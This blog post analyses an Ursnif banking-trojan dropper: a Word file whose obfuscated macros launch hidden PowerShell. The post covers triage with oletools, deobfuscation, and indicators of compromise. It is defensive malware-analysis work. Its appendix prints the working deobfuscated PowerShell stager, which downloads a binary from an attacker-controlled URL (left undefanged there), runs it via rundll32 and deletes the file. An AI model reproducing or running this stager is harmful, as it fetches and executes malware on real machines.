Post

Malware Analysis Ursnif Dropper

Introduction

Ursnif malware, also known as Gozi, Gozi-ISFB, Dreambot, Papras, and snifula, is a sophisticated type of banking trojan, stealer, and spyware. In 2020, it was identified as the second-most active strain of malware, accounting for over 30 percent of malware detections. What sets Ursnif apart is its long history in the cybercrime world, dating back to its initial appearance in 2000. Ursnif’s longevity has made it one of the oldest malware families in existence, and its source code has been publicly disclosed on numerous occasions, leading to the creation of multiple variants. The Ursnif malware family now encompasses a growing number of highly effective strains, each with a diverse set of modular features.

One of the most prevalent ways that Ursnif infects its targets is through the use of malicious macros. The Ursnif dropper uses macros embedded in Microsoft Word or Excel documents to download the second-stage payload onto the infected system. Once the macro is executed, it will typically initiate a PowerShell command to download the payload. In this blog post, we will explore how the Ursnif dropper uses macros and PowerShell to download the second-stage payload.


Analyzing the Ursnif Dropper

Extracting the metadata of the document

1
exiftool 23-04-2020.doc

We can view the metadata of the document using exiftool. We’re looking for anomalies here, and we can see that the document lacks author name, title, and so on. We can also see that the words value is 0, which is unusual for a document that contains no words.

Let’s use oletools to analyze the document.

1
oleid 23-04-2020.doc

Using oleid, a script that analyzes OLE files to detect specific characteristics that are commonly found in malicious files, The document contains suspicious Macros, as we can see. Let’s extract and analyze the suspicious macros with olvevba.

1
olevba 23-04-2020.doc --detailed 

We can see that the document contains an AutoExec macro which name isfzcmxfkfkxlzd_gotfocus. This macro runs before any other macros or modules in the database. This will be our entry point in analyzing the macros statically. The documents also contains interesting function calls such as ShellExecute and GetObject.

Deobfuscating the VBA Macros

Extract the macro in text. ``pcode2code 23-04-2020.doc > malicious_macro.txt`

The Macros contain a lot of junk codes and meaningless variables such as strings contains Array pattern. Simply deleting it will take care of the issue. fzcmxfkfkxlzd_GotFocus is a Autoexec Macro. this will be the entry point. Inside of it, it will call the main function which is the ogadjbdlgduu. Obfuscating Layout technique in the code:

  • Junk codes
  • Stripping Redundant Symbols
  • Meaningless identifiers

We can see that our code is shorter after the junk codes have been removed. from more than 600 lines of code to just 33 lines. But still, the code is obfuscated. The data is encoded in the main function, which calls the uxfajgqc function to decode it.

Obfuscating data technique in the code:

  • Array Transformation
  • Data procedurization
  • Data encoding
  • Data splitting

Deobfuscated uxfajgqc function

The code accepts two parameter which is an array of encoded values, and the values from alternative.text function from the main function. The function’s purpose is to decode a string of data encoded with a custom encoding scheme.

The function iterates through each character in the input array using a loop. Within the loop, the code computes 107 for the integer literal 64. It then generates a substitution table by converting the alternative text parameter to a string using the 107 value as the conversion type. The code then computes the value of zero as 2 and creates an empty string variable called “empty” that contains the null character represented by the integer value zero. The loop continues until all of the characters in the input array have been processed, at which point the function returns the “final str” value.

We can figure out the values of the Alternative text by running the macros dynamically.

Set a breakpoint before the Shell execute function and run the macros dynamically to get the values for jnmquwwy (lookup table) and srnwrufymp (Encoded base64 value).

Decoding the data using Python We can simply use Python to decode the encoded variable after obtaining the value of the lookup table. Based on the decoded values, it appears that the macros will execute a PowerShell script command with elevated privileges and without user interaction while hiding the PowerShell console window from view and dealing with the directory path of the system32 folder.

Deobfuscating the Powershell script

Using CyberChef to decode the base64 PS script and remove the null bytes.

The Obfuscated Powershell script

contains several unused variables and functions with obfuscated names. We can simply delete the junk codes and rename the variables.

Powershell script after deobfuscation.

The PowerShell script executes a series of a task to download and register a binary file. The script attempts to download the file from a specified URL. hxxp[://]to4karu[.]ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu[.]bin. The function checks if the downloaded file is greater than or equal to 99463 bytes. If it is, the DLL file is registered using rundll32.exe, and the downloaded file is deleted. If an exception occurs during the download, the function waits for 5 seconds and then tries again. The function continues to run until the downloaded file is successfully registered and deleted.


Running the Macros

Host-based Indicators

Output of process hacker. Invokes powershell to download the payload.

Command line executed by powershell which is the encoded base64 download script

Malicious payload is dropped in the user’s profile directory.

Network Indicators

Procmon and Wireshark Packet capture of downloading the malicious payload.


IOCs

1
2
3
hxxp[://]to4karu[.]ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu[.]bin
ujfnrhzvpittgwsj.bin
580776d602e2edd816472ca7b9f651740d24313477598c88cc8b9a04a1016394  23-04-2020.doc

Appendices

Deobfuscated PS script


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$download_url = "http://to4karu.ru/ukhseigfuhasfoiuewgfuyasdfasuydfbu.bin";
$downloaded_file = "ujfnrhzvpittgwsj.bin";
$register_command = "$downloaded_file, DllRegisterServer";

# Download file from URL to user's profile directory
function download_file {
    while ($file_exists -eq $false) {
        try {
            $web_client = New-Object net.webclient;
            $web_client.DownloadFile($download_url, $downloaded_file);
            if ((Get-Item $downloaded_file).length -ge 99463) {
                $file_exists = $true;
                Start-Process -FilePath "rundll32.exe" -Args $register_command;
                delete_file;
                exit;
            }
        } catch {}
        sleep -s 5;
    }
}

# Delete downloaded file
function delete_file {
    try {
        sleep -s 10;
        Remove-Item -ErrorAction Stop -Path $downloaded_file;
    } catch {
        delete_file;
    }
}
download_file;

Decoder.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
lookup_table = """ojqfiadxctxvppyfjmlpqkxqoialcrfhywepuacqrxrlcrdoepuauhdrhgnyfrzsoscshhqubokllhvvxhcvdk.zgvfpgxkuwmslwpjb-afyfahncmnfl sheyocykzanlrcecfddubovibwbdtihfddybyqieacockrljoygigimrvimsmdbxmcdpoeiar:kinjvbtt{wmjbuaiheij9kmlzkmbjpgkaBqmbsdlddqedtAzfakah0telnxj5epfngytq7jcpmnhoocikmsl2pmeyznFwpgamk6xcjchcyt8ghtdpxcq1ihqnvaeootgmheCyfpcgglpw4nzsekbszsbp3brdeqccjj}cuhruvchwot\jirscwqWeifadrmSuglngkhgkgtlvzyvakidqwhm"""

def data_decoder(array):
    string = ""
    for value in array:
        value -= 1
        string += lookup_table[value]    
    if array and string:
        print(string)

# xxtytqommjogvbx
print(data_decoder([13, 1, 34, 35, 30, 64, 32, 35, 19, 19, 87, 35, 8, 35]))
# fcvhjrsmilyq
print(data_decoder([105, 59, 1, 13, 118, 105, 35, 8, 35, 9, 118, 73, 15, 13, 6, 64, 64, 118, 105, 34, 5, 59, 118, 32, 5, 7, 7, 35, 59, 118, 105, 59, 1, 59, 5, 118, 105, 35, 118]))
# ywkkujfenopw
print(data_decoder([324, 192, 368, 376, 5, 59, 7, 1, 34, 64, 368, 384, 15, 64, 10, 35, 18, 346, 277]))
# GetObject
print(data_decoder([59, 35, 34, 192, 201, 213, 226, 239, 246, 253, 213, 262, 277, 105, 284, 291, 239, 300, 105, 309, 309, 324, 284, 105, 239, 334, 334, 277, 105, 246, 246, 239, 246, 324, 213, 246, 239, 300, 284, 346, 213, 356]))

References

  • https://otx.alienvault.com/indicator/file/931dbe630f2b06d47c8908f877edb16d
  • https://cybersecurity.springeropen.com/articles/10.1186/s42400-020-00049-3
  • https://securityliterate.com/malware-analysis-in-5-minutes-deobfuscating-powershell-scripts/
  • https://www.cisa.gov/uscert/ncas/alerts/aa22-216a
  • https://courses.zero2auto.com/courses/adv-malware-analysis-course/340491-zero2hero
This post is licensed under CC BY 4.0 by the author.